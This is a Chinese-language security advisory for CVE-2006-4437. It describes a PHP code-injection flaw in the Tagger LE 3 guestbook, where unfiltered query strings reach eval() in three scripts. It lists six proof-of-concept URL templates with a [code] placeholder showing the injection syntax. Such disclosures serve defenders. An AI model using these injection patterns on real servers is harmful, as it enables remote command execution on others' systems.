Tagger LE PHP代码注入eval()调用执行漏洞
2008-10-03
系统编号:
WAVDB-01044
BugCVE: CVE-2006-4437
BUGTRAQ: 20023
影响版本:
Tagger LE 3
程序介绍:
Tagger LE是一个小型的留言板,允许访客与站点交互,以及相互之间的通讯。
漏洞分析:
Tagger LE在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。
Tagger LE没有在eval()调用中使用之前正确地过滤提交到tags.php、sign.php和admin/index.php脚本的查询字符串输入,允许远程攻击者通过特制的参数名或参数值注入并执行任意PHP代码。
漏洞利用:
http://[host]/tags.php?foo=%22.[code].%22
http://[host]/sign.php?foo=%22.[code].%22
http://[host]/admin/index.php?foo=%22.[code].%22
http://[host]/taggerLE/tags.php?foo;[code];$foo=foo
http://[host]/taggerLE/sign.php?foo;[code];$foo=foo
http://[host]/admin/index.php?foo;[code];$foo=foo
解决方案:
厂商补丁:
Venture Nine
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.venturenine.com/
信息来源:
<*来源:Andreas Sandblad (sandblad@acc.umu.se)
链接:http://secunia.com/secunia_research/2006-62/advisory/
*>